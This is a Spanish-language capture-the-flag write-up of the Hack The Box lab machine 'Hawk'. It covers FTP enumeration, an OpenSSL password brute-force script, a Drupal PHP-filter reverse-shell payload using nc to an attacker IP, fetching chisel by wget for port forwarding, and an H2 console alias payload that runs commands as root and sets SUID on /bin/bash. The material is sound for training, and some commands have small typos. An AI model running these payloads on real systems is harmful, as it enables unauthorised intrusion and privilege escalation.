Volver atras HTB_Hawk | Savinotes

HTB_Hawk

Hawk {-}

Introduccion {-}

La maquina del dia 05/08/2021 se llama Hawk .

El replay del live se puede ver aqui

S4vitaar Hawk maquina

No olvideis dejar un like al video y un comentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.102

ttl: 63 -> maquina Linux. Recordar que en cuanto a ttl se trata 64 = linux y 128 = windows. Pero como estamos en hackthebox el ttl disminuye en una unidad

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.102 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,5000 10.10.10.102 -oN targeted
PuertoServicioQue se nos occure?Que falta?
21ftpAccesso por anonymous
22sshAccesso directorioCredenciales
80httpWeb, fuzzing
5435tcpwrapped
8082httpWeb, fuzzing
9092XmlIpcRegSvc

Conneccion como anonymous al servicio FTP {-}

ftp 10.1.10.102
Name: anonymous

Mirando los ficheros con

 ls -la 

encontramos un fichero oculto llamado

 .drupal.txt.enc 

. Lo descargamos en nuestra maquina de atacante.

ls -la
cd messages
ls -la
get .drupal.txt.enc

Analizando el fichero .drupal.txt.enc {-}

mv .drupal.txt.enc drupal.txt.enc
cat drupal.txt.enc

Aqui vemos que el contenido del fichero esta encodeado en base64.

cat drupal.txt.enc | xargs | tr -d ' ' | base64 -d; echo

Aqui el contenido parece ser un binario. La mejor cosa que hacer en estas situaciones seria guardarlo en un nuevo fichero

cat drupal.txt.enc | xargs | tr -d ' ' | base64 -d; echo > drupal
rm drupal.txt.enc
mv drupal dupal.txt.crypted

Ahora podemos mirar que typo de fichero es.

cat drupal.txt.crypted
strings drupal.txt.crypted
file drupal.txt.crypted

El comando file nos muestra que el fichero a sido encriptado por openssl con una contraseña.

Desencripcion del fichero drupal.txt.crypted {-}

El problema en este caso es que para leer el fichero necesitamos:

Aqui tendriamos que intentar multiples modo de cifrado pero buscando por internet, vemos que el mas comun seria el

 aes-256-cbc 

En modo de ejemplo, estas serian la lineas para encriptar y desencriptar un fichero con openssl:

  1. Encripcion

    openssl aes-256-cbc -in fichero -out fichero.crypted -k password123
  2. Desencripcion

    openssl aes-256-cbc -d -in fichero.crypted -out fichero -k password123

La idea aqui es crearnos un script

 bruteforce.sh 

que nos permite encontrar la contraseña.

Evaluacion de vulnerabilidades {-}

Crack ssl password {-}

#!/bin/bash

function ctrl_c(){
    echo -e "\n[!] Saliendo...\n"
    exit 1
}

#Ctrl+C
trap ctrl_c INT

for password in $(cat /usr/share/wordlists/rockyou.txt); do
    openssl aes-256-cvc -d -in drupal.txt.crypted -out drupal.txt -k $password 2>/dev/null

    if [ "$(echo $?)" == "0" ]; then
        echo -e "\n[+] La password es $password\n"
        exit 0
    fi
done

Lanzamos el script y vemos la contraseña. Mirando el contenido del ficher drupal.txt vemos un mensaje con una contraseña del portal.

Analizamos el Portal {-}

Hablando de portal, pensamos en la web. Nmap nos dio 2 puertos donde el servicio es http. el 80 y el 8082 Con firefox navegamos en la web para ver lo que es.

Aqui ya pensamos en tecnicas de port forwarding para el puerto 8082 y savemos que tenemos que ir a por el puerto 80.

En el login del puerto 80 intentamos

Y la contraseña que hemos encontrado en el contenido del fichero

 drupal.txt 

funciona.

Explotacion de vulnerabilidad & Ganando Acceso {-}

Conexion por Druppal {-}

Para ejecutar comandos o mejor dicho, para ganar accesso al sistema desde un admin panel de drupal siempre es el mismo.

  1. En modules, habilitar el componente PHP Filter

drual-hfilter

  1. Crear un nuevo contenido

    knitr::include_graphics("images/drupal-new-article.png")

drual-ew-article bash nc -nlvp 443

  1. En drupal añadir en el body

    <?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 443 >/tmp/f"); ?>
  2. En Text Format le ponemos a PHP code

  3. Le damos al boton Preview

Ya hemos ganado accesso al sistema como el usuario www-data

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Analizamos la maquina {-}

ls -l
cd /home
ls
cd /daniel
cat user.txt

Aqui encontramos un usuario daniel y tenemos derechos de escritura. Ya podemos visualizar la flag. Lo mas probable aqui seria de convertirnos directamente en el usuario root.

Escalada de privilegios {-}

Rootear la maquina {-}

Algo que hemos visto, es que el puerto 8082 no se podia ver por reglas definidas en el sistema. Como ya hemos pensado en tecnicas de port forwarding, instalamos Chisel.

  1. Descarga de chisel y build

    git clone https://github.com/jpillora/chisel
    cd chisel
    go build -ldflags "-w -s" .
    upx chisel
    chmod +x chisel
  2. Enviamos chisel a la maquina victima

    • en la maquina de atacante

      python3 -m http.server 80
    • en la maquina victima

      cd /tmp
      wget http://10.10.14.8/chisel
      chmod +x chisel
  3. En la maquina de atacante creamos un servidor

    ./chisel server --reverse --port 1234
  4. En la maquina victima creamos un cliente

    ./chisel client 10.10.14.8:1234 R:8082:127.0.0.1:8082

Ahora en firefox si vamos a la url

 http://localhost:8082 

ya podemos ver el contenido de la web.

Si pinchamos en preferencias y despues en Permitir conexiones desde otros ordenadores ya podemos navegar desde la url

 http://10.10.10.102:8082 

.

Aqui vemos un mensaje Wrong user name or password. Esto puede passar si la URL JDBC ya esta en uso. si cambiamos la url

 jdbc:h2:~/test 

por

 jdbc:h2:~/EEEEEE 

y pinchamos el boton conectar, Entramos en el panel de control H2 database.

Si en la shell buscamos con el commando

 ps -faux 

y buscamos el servicio h2 vemos que el servicio a sido lanzado por el usuario root. Quiere decir que si ejecutamos commandos desde la consola h2, lo lanzariamos como usuario root.

Buscamos si existe un exploit para H2 console

searchsploit h2 consola
searchsploit h2 database

Encontramos un exploit en python que permitiria ejecutar Alias Arbitrary Code execution. Lo analizamos:

searchsploit -x 44422

Mirando el exploit, vemos que tenemos que crear un alias en el cual podemos podemos utilizar para ejecutar commandos. En este caso no necessitamos utilizar el exploit. Podemos copiar las partes que nos interessa en el panel H2.

CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new \
java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }$$;

CALL EXECVE('whoami')

Aqui vemos root. Pues aqui lanzamos el commando para que la

 /bin/bash 

sea SUID

CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new \
java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }$$;

CALL EXECVE('chmod 4755 /bin/bash')

En la shell, ya podemos comprobar que la

 /bin/bash 

es SUID y con el commando

 bash -p 

no convertimos en root

ls -l /bin/bash
bash -p
cd /root
cat root.txt

Y a estamos root y podemos visualizar la flag.